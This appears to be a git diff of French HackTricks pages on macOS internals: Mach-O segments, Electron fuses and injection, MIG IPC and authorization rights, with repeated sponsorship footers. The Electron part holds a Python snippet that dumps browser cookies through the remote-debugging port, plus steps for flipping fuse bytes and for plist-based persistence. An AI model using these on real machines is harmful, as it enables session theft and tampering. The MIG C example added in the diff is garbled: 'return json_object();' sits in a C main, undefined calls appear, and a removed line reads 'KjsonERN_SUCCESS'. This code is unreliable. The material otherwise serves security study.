* `__data` : Variables globales (qui ont été initialisées)
|
* `__data` : Variables globales (qui ont été initialisées)
|
||||||
* `__bss` : Variables statiques (qui n'ont pas été initialisées)
|
* `__bss` : Variables statiques (qui n'ont pas été initialisées)
|
||||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc) : Informations utilisées par le runtime Objective-C
|
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc) : Informations utilisées par le runtime Objective-C
|
||||||
* **`__LINKEDIT` :** Contient des informations pour le lien (dyld) telles que "entrées de table de symboles, de chaînes et de réadressage".
|
* **`__LINKEDIT` :** Contient des informations pour le linker (dyld) telles que "entrées de table de symboles, de chaînes et de réadressage".
|
||||||
* **`__OBJC` :** Contient des informations utilisées par le runtime Objective-C. Bien que ces informations puissent également être trouvées dans le segment \_\_DATA, dans diverses sections \_\_objc\_\*.
|
* **`__OBJC` :** Contient des informations utilisées par le runtime Objective-C. Bien que ces informations puissent également être trouvées dans le segment \_\_DATA, dans diverses sections \_\_objc\_\*.
|
||||||
|
|
||||||
### **`LC_MAIN`**
|
### **`LC_MAIN`**
|
||||||
|
@ -279,13 +279,13 @@ Au cœur du fichier se trouve la région des données, composée de plusieurs se
|
||||||
Les données sont essentiellement la partie contenant toutes les **informations** chargées par les commandes de chargement **LC\_SEGMENTS\_64**
|
Les données sont essentiellement la partie contenant toutes les **informations** chargées par les commandes de chargement **LC\_SEGMENTS\_64**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||||
|
|
||||||
Cela inclut :
|
Cela inclut :
|
||||||
|
|
||||||
* **Table des fonctions** : Qui contient des informations sur les fonctions du programme.
|
* **Table des fonctions** : Qui contient des informations sur les fonctions du programme.
|
||||||
* **Table des symboles** : Qui contient des informations sur les fonctions externes utilisées par le binaire
|
* **Table des symboles** : Qui contient des informations sur les fonctions externes utilisées par le binaire
|
||||||
* Il pourrait également contenir des fonctions internes, des noms de variables, et plus encore.
|
* Il pourrait également contenir des noms de fonctions internes, des noms de variables et plus encore.
|
||||||
|
|
||||||
Pour vérifier, vous pouvez utiliser l'outil [**Mach-O View**](https://sourceforge.net/projects/machoview/) :
|
Pour vérifier, vous pouvez utiliser l'outil [**Mach-O View**](https://sourceforge.net/projects/machoview/) :
|
||||||
|
|
||||||
|
@ -297,14 +297,14 @@ size -m /bin/ls
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
D'autres façons de soutenir HackTricks:
|
D'autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
||||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -21,15 +21,15 @@ Et node a certains **paramètres** et **variables d'environnement** qui peuvent
|
||||||
|
|
||||||
### Fusibles Electron
|
### Fusibles Electron
|
||||||
|
|
||||||
Ces techniques seront discutées ensuite, mais récemment, Electron a ajouté plusieurs **drapeaux de sécurité pour les prévenir**. Ce sont les [**Fusibles Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) et ce sont ceux utilisés pour **empêcher** les applications Electron sur macOS de **charger du code arbitraire** :
|
Ces techniques seront discutées ensuite, mais récemment, Electron a ajouté plusieurs **drapeaux de sécurité pour les prévenir**. Ce sont les [**Fusibles Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) et ceux-ci sont utilisés pour **empêcher** les applications Electron sur macOS de **charger du code arbitraire** :
|
||||||
|
|
||||||
- **`RunAsNode`** : S'il est désactivé, il empêche l'utilisation de la variable d'environnement **`ELECTRON_RUN_AS_NODE`** pour injecter du code.
|
- **`RunAsNode`** : S'il est désactivé, il empêche l'utilisation de la variable d'environnement **`ELECTRON_RUN_AS_NODE`** pour injecter du code.
|
||||||
- **`EnableNodeCliInspectArguments`** : S'il est désactivé, des paramètres comme `--inspect`, `--inspect-brk` ne seront pas respectés. Évitant ainsi l'injection de code de cette manière.
|
- **`EnableNodeCliInspectArguments`** : S'il est désactivé, les paramètres tels que `--inspect`, `--inspect-brk` ne seront pas respectés. Évitant ainsi l'injection de code.
|
||||||
- **`EnableEmbeddedAsarIntegrityValidation`** : S'il est activé, le fichier **`asar`** chargé sera **validé** par macOS. **Empêchant ainsi** l'injection de code en modifiant le contenu de ce fichier.
|
- **`EnableEmbeddedAsarIntegrityValidation`** : S'il est activé, le fichier **`asar`** chargé sera validé par macOS. Empêchant ainsi l'injection de code en modifiant le contenu de ce fichier.
|
||||||
- **`OnlyLoadAppFromAsar`** : Si cela est activé, au lieu de rechercher le chargement dans l'ordre suivant : **`app.asar`**, **`app`** et enfin **`default_app.asar`**. Il vérifiera et utilisera uniquement app.asar, garantissant ainsi que lorsqu'il est **combiné** avec le fusible **`embeddedAsarIntegrityValidation`**, il est **impossible** de **charger du code non validé**.
|
- **`OnlyLoadAppFromAsar`** : S'il est activé, au lieu de rechercher le chargement dans l'ordre suivant : **`app.asar`**, **`app`** et enfin **`default_app.asar`**. Il vérifiera et utilisera uniquement app.asar, garantissant ainsi que lorsqu'il est **combiné** avec le fusible **`embeddedAsarIntegrityValidation`**, il est **impossible** de **charger du code non validé**.
|
||||||
- **`LoadBrowserProcessSpecificV8Snapshot`** : S'il est activé, le processus du navigateur utilise le fichier appelé `browser_v8_context_snapshot.bin` pour son instantané V8.
|
- **`LoadBrowserProcessSpecificV8Snapshot`** : S'il est activé, le processus du navigateur utilise le fichier appelé `browser_v8_context_snapshot.bin` pour son instantané V8.
|
||||||
|
|
||||||
Un autre fusible intéressant qui ne préviendra pas l'injection de code est :
|
Un autre fusible intéressant qui n'empêchera pas l'injection de code est :
|
||||||
|
|
||||||
- **EnableCookieEncryption** : S'il est activé, le stockage des cookies sur le disque est chiffré à l'aide de clés de cryptographie au niveau du système d'exploitation.
|
- **EnableCookieEncryption** : S'il est activé, le stockage des cookies sur le disque est chiffré à l'aide de clés de cryptographie au niveau du système d'exploitation.
|
||||||
|
|
||||||
|
@ -60,9 +60,9 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
||||||
```
|
```
|
||||||
Vous pouvez charger ce fichier dans [https://hexed.it/](https://hexed.it/) et rechercher la chaîne précédente. Après cette chaîne, vous pouvez voir en ASCII un nombre "0" ou "1" indiquant si chaque fusible est désactivé ou activé. Modifiez simplement le code hexadécimal (`0x30` est `0` et `0x31` est `1`) pour **modifier les valeurs des fusibles**.
|
Vous pouvez charger ce fichier dans [https://hexed.it/](https://hexed.it/) et rechercher la chaîne précédente. Après cette chaîne, vous pouvez voir en ASCII un nombre "0" ou "1" indiquant si chaque fusible est désactivé ou activé. Modifiez simplement le code hexadécimal (`0x30` est `0` et `0x31` est `1`) pour **modifier les valeurs des fusibles**.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Notez que si vous essayez de **remplacer** le binaire du **`Framework Electron`** à l'intérieur d'une application avec ces octets modifiés, l'application ne se lancera pas.
|
Notez que si vous essayez de **remplacer** le **binaire du framework Electron** à l'intérieur d'une application avec ces octets modifiés, l'application ne se lancera pas.
|
||||||
|
|
||||||
## RCE ajout de code aux applications Electron
|
## RCE ajout de code aux applications Electron
|
||||||
|
|
||||||
|
@ -189,7 +189,7 @@ Cependant, vous pouvez toujours utiliser le **paramètre electron `--remote-debu
|
||||||
|
|
||||||
En utilisant le paramètre **`--remote-debugging-port=9222`**, il est possible de voler des informations de l'application Electron comme l'**historique** (avec des commandes GET) ou les **cookies** du navigateur (car ils sont **décryptés** à l'intérieur du navigateur et qu'il existe un **point de terminaison json** qui les fournira).
|
En utilisant le paramètre **`--remote-debugging-port=9222`**, il est possible de voler des informations de l'application Electron comme l'**historique** (avec des commandes GET) ou les **cookies** du navigateur (car ils sont **décryptés** à l'intérieur du navigateur et qu'il existe un **point de terminaison json** qui les fournira).
|
||||||
|
|
||||||
Vous pouvez apprendre comment faire cela [**ici**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) et [**ici**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) et utiliser l'outil automatique [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou un script simple comme :
|
Vous pouvez apprendre comment faire cela [**ici**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) et [**ici**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) et utiliser l'outil automatique [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou un simple script comme :
|
||||||
```python
|
```python
|
||||||
import websocket
|
import websocket
|
||||||
ws = websocket.WebSocket()
|
ws = websocket.WebSocket()
|
||||||
|
@ -197,9 +197,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||||
print(ws.recv()
|
print(ws.recv()
|
||||||
```
|
```
|
||||||
Dans [**cet article de blog**](https://hackerone.com/reports/1274695), ce débogage est exploité pour faire en sorte que Chrome sans interface **télécharge des fichiers arbitraires dans des emplacements arbitraires**.
|
Dans [**cet article de blog**](https://hackerone.com/reports/1274695), ce débogage est exploité pour faire en sorte que Chrome sans interface télécharge des fichiers arbitraires dans des emplacements arbitraires.
|
||||||
|
|
||||||
### Injection à partir du fichier Plist de l'application
|
### Injection depuis le fichier Plist de l'application
|
||||||
|
|
||||||
Vous pourriez exploiter cette variable d'environnement dans un fichier plist pour maintenir la persistance en ajoutant ces clés :
|
Vous pourriez exploiter cette variable d'environnement dans un fichier plist pour maintenir la persistance en ajoutant ces clés :
|
||||||
```xml
|
```xml
|
||||||
|
@ -281,7 +281,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -44,9 +44,6 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||||
Plusieurs nouveaux fichiers seront créés dans le répertoire actuel.
|
Plusieurs nouveaux fichiers seront créés dans le répertoire actuel.
|
||||||
|
|
||||||
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500) :
|
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500) :
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipcServer.c" %}
|
|
||||||
```c
|
```c
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||||
|
@ -68,11 +65,20 @@ myipc_server_routine,
|
||||||
|
|
||||||
### macOS MIG (Mach Interface Generator)
|
### macOS MIG (Mach Interface Generator)
|
||||||
|
|
||||||
Le générateur d'interface Mach (MIG) est un outil fourni par Apple pour simplifier la communication entre les processus sur macOS. Il génère des interfaces de programmation pour les services système qui utilisent le Mach IPC pour la communication inter-processus.
|
Le générateur d'interface Mach (MIG) est un outil fourni par Apple pour simplifier la communication entre les processus sur macOS. Il génère des interfaces de programmation pour les services système qui utilisent le Mach IPC (Inter-Process Communication).
|
||||||
|
|
||||||
L'utilisation de MIG peut présenter des risques de sécurité, car une mauvaise configuration des interfaces peut entraîner des vulnérabilités de type dépassement de tampon ou de fuite de mémoire. Il est essentiel de sécuriser correctement les interfaces générées par MIG pour éviter les abus de processus et les élévations de privilèges sur un système macOS.
|
Voici un exemple de fichier d'en-tête pour un serveur MIG personnalisé :
|
||||||
|
|
||||||
Assurez-vous de comprendre en profondeur le fonctionnement de MIG et de mettre en œuvre les bonnes pratiques de sécurité lors de son utilisation dans le développement d'applications macOS.
|
```c
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
|
||||||
|
kern_return_t my_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
|
||||||
|
```
|
||||||
|
|
||||||
|
Dans cet exemple, `my_server` est la fonction qui sera appelée pour traiter les messages reçus par le serveur MIG personnalisé.
|
||||||
|
|
||||||
|
L'utilisation de MIG peut introduire des vulnérabilités de sécurité si les entrées ne sont pas correctement validées, ce qui peut être exploité pour des attaques de privilège d'escalade. Il est essentiel de sécuriser correctement les services utilisant MIG pour éviter les abus de processus sur macOS.
|
||||||
|
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
```c
|
```c
|
||||||
|
@ -90,7 +96,7 @@ routine[1];
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
Basé sur la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler :
|
En fonction de la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler :
|
||||||
```c
|
```c
|
||||||
mig_external mig_routine_t myipc_server_routine
|
mig_external mig_routine_t myipc_server_routine
|
||||||
(mach_msg_header_t *InHeadP)
|
(mach_msg_header_t *InHeadP)
|
||||||
|
@ -114,7 +120,7 @@ En fait, il est possible d'identifier cette relation dans la structure **`subsys
|
||||||
{ "Subtract", 500 }
|
{ "Subtract", 500 }
|
||||||
#endif
|
#endif
|
||||||
```
|
```
|
||||||
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va effectivement **appeler la fonction** liée à l'ID reçu :
|
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va effectivement **appeler la fonction** liée à l'identifiant reçu :
|
||||||
|
|
||||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||||
|
@ -196,21 +202,23 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
mach_port_t bootstrap_port;
|
mach_port_t bootstrap_port;
|
||||||
kern_return_t err;
|
kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
|
||||||
if (err != KERN_SUCCESS) {
|
|
||||||
printf("Failed to get bootstrap port\n");
|
printf("Failed to get bootstrap port\n");
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
err = myipc_register(bootstrap_port);
|
myipc_args_t args = {0};
|
||||||
if (err != KjsonERN_SUCCESS) {
|
args.x = 10;
|
||||||
printf("Failed to register myipc service\n");
|
args.y = 20;
|
||||||
return 1;
|
|
||||||
|
kr = myipc_call(bootstrap_port, &args);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("Failed to call myipc\n");
|
||||||
|
return json_object();
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("myipc service registered successfully\n");
|
printf("Result: %d\n", args.result);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
@ -372,10 +380,10 @@ return r0;
|
||||||
|
|
||||||
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**. Le premier élément de la structure est l'**adresse** où la **fonction** est implémentée, et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et ce sera l'**adresse de la fonction** qui sera appelée :
|
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**. Le premier élément de la structure est l'**adresse** où la **fonction** est implémentée, et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et ce sera l'**adresse de la fonction** qui sera appelée :
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -388,4 +396,6 @@ Autres façons de soutenir HackTricks :
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -47,10 +47,10 @@ Pour plus d'informations sur la manière de configurer correctement cette vérif
|
||||||
|
|
||||||
### Droits de l'application
|
### Droits de l'application
|
||||||
|
|
||||||
Cependant, il y a une **autorisation en cours lorsque qu'une méthode du HelperTool est appelée**.
|
Cependant, il y a une **autorisation en cours lorsqu'une méthode du HelperTool est appelée**.
|
||||||
|
|
||||||
La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
|
La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
|
||||||
Ensuite, elle essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` :
|
Ensuite, il essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` :
|
||||||
```objectivec
|
```objectivec
|
||||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||||
{
|
{
|
||||||
|
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
||||||
}];
|
}];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo` :
|
La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo`:
|
||||||
```objectivec
|
```objectivec
|
||||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||||
|
@ -186,7 +186,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
||||||
```
|
```
|
||||||
Cela signifie qu'à la fin de ce processus, les autorisations déclarées à l'intérieur de `commandInfo` seront stockées dans `/var/db/auth.db`. Remarquez comment vous pouvez trouver pour **chaque méthode** qui **nécessite une authentification**, le **nom de l'autorisation** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
Cela signifie qu'à la fin de ce processus, les autorisations déclarées à l'intérieur de `commandInfo` seront stockées dans `/var/db/auth.db`. Remarquez comment vous pouvez trouver pour **chaque méthode** qui **nécessite une authentification**, le **nom de l'autorisation** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
||||||
|
|
||||||
Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez les trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
|
Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
|
||||||
|
|
||||||
<table><thead><tr><th width="284.3333333333333">Nom</th><th width="165">Valeur</th><th>Description</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Quiconque</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Personne</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utilisateur actuel doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Demander à l'utilisateur de s'authentifier.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Demander à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Spécifier des règles</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Spécifier des commentaires supplémentaires sur le droit</td></tr></tbody></table>
|
